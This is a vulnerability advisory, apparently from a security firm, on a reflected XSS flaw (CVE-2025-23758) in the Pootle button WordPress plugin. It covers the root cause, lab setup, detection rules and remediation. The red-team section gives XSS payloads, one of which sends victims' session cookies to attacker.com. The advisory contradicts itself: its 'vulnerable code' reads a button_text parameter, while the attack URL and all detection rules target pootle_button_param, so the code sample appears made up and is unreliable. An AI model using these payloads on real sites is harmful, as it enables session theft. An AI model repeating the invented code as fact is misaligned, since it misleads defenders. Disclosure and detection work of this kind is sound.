CVE-2025-23758

Executive Summary

CVE-2025-23758 is a reflected Cross-Site Scripting (XSS) vulnerability in the Pootle button WordPress plugin (versions <= 1.2.0) developed by Pootlepress. The plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session. As of this report, no official patch has been released, and the vendor has not acknowledged the issue. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are at risk. No known supply chain compromise has been reported, but the lack of a patch means the plugin should be considered untrusted.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: High – The vulnerability is easy to exploit and requires no authentication, but user interaction is needed. The lack of a patch increases the risk for unmaintained installations.

Deep Dive & Mechanics

The vulnerability resides in the pootle-button plugin’s handling of URL parameters. When a user visits a crafted URL containing malicious JavaScript in a query parameter (e.g., ?param=<script>alert(1)</script>), the plugin reflects this input directly into the HTML response without proper sanitization or encoding. This is a classic reflected XSS flaw.

Root Cause: The plugin uses $_GET or $_REQUEST data in a shortcode or template without applying WordPress’s esc_attr(), esc_html(), or wp_kses() functions. The input is echoed directly into the page, allowing script execution.

Attack Flow:

1. Attacker crafts a malicious link: https://victim-site.com/?pootle_button_param=<script>alert(document.cookie)</script>
2. Victim clicks the link (e.g., via phishing email).
3. The vulnerable plugin reflects the payload in the page.
4. The victim’s browser executes the injected script.
5. Attacker steals session cookies or performs actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (pootle-button.php, line ~45):

$button_text = $_GET['button_text'];
echo '<div class="pootle-button">' . $button_text . '</div>';

Patched Code (hypothetical fix):

$button_text = isset($_GET['button_text']) ? esc_html($_GET['button_text']) : '';
echo '<div class="pootle-button">' . $button_text . '</div>';

The patched version uses esc_html() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Pootle button plugin <= 1.2.0 installed and active.
• Ability to craft a URL with a malicious parameter.

Exploit Payload:

<script>alert('XSS')</script>

Crafted URL:

http://target-site.com/?pootle_button_param=<script>alert('XSS')</script>

Advanced Payload (Session Hijacking):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Lab Setup:

1. Install WordPress locally (e.g., using XAMPP or Docker).
2. Download and install Pootle button plugin v1.2.0 from the WordPress plugin repository.
3. Activate the plugin.
4. Open a browser and navigate to the crafted URL.
5. Observe the JavaScript execution.

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests containing <script> tags in query parameters.
• Use a Web Application Firewall (WAF) to block reflected XSS patterns.

Hardening:

• Disable or remove the Pootle button plugin immediately.
• If removal is not possible, apply a virtual patch via WAF (e.g., ModSecurity rule to block pootle_button_param containing <script>).
• Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

• URL Pattern: ?pootle_button_param=<script>
• HTTP Request Logs: Requests with pootle_button_param parameter containing HTML/JavaScript.
• Browser Console: Unexpected script execution or redirects.
• Network Traffic: Outbound connections to attacker-controlled domains from the victim’s browser.

Detection Engineering

YARA Rule

rule CVE_2025_23758_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Pootle button plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-23758"
    strings:
        $param = "pootle_button_param"
        $script = /<script[^>]*>.*<\/script>/i
    condition:
        $param and $script
}

Sigma Rule

title: Reflected XSS Attempt Against Pootle Button Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests containing the vulnerable parameter and script tags
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "pootle_button_param"
        cs-uri-query|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of script tags in other contexts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-23758 Reflected XSS in Pootle Button Plugin"; flow:to_server; content:"pootle_button_param"; http_uri; content:"<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable/Remove the Plugin: Deactivate and delete the Pootle button plugin from all WordPress installations.
2. Virtual Patching: If removal is not possible, deploy a WAF rule to block requests containing pootle_button_param with HTML/JavaScript content.
3. User Awareness: Warn users about phishing links targeting this vulnerability.

Long-Term Fix:

• The vendor (Pootlepress) must release a patched version that sanitizes input using esc_html() or wp_kses().
• Until a patch is available, consider migrating to an alternative button plugin.

Verification:

• After applying mitigations, test the crafted URL to ensure the script no longer executes.

Valters IT
Securing Digital Frontiers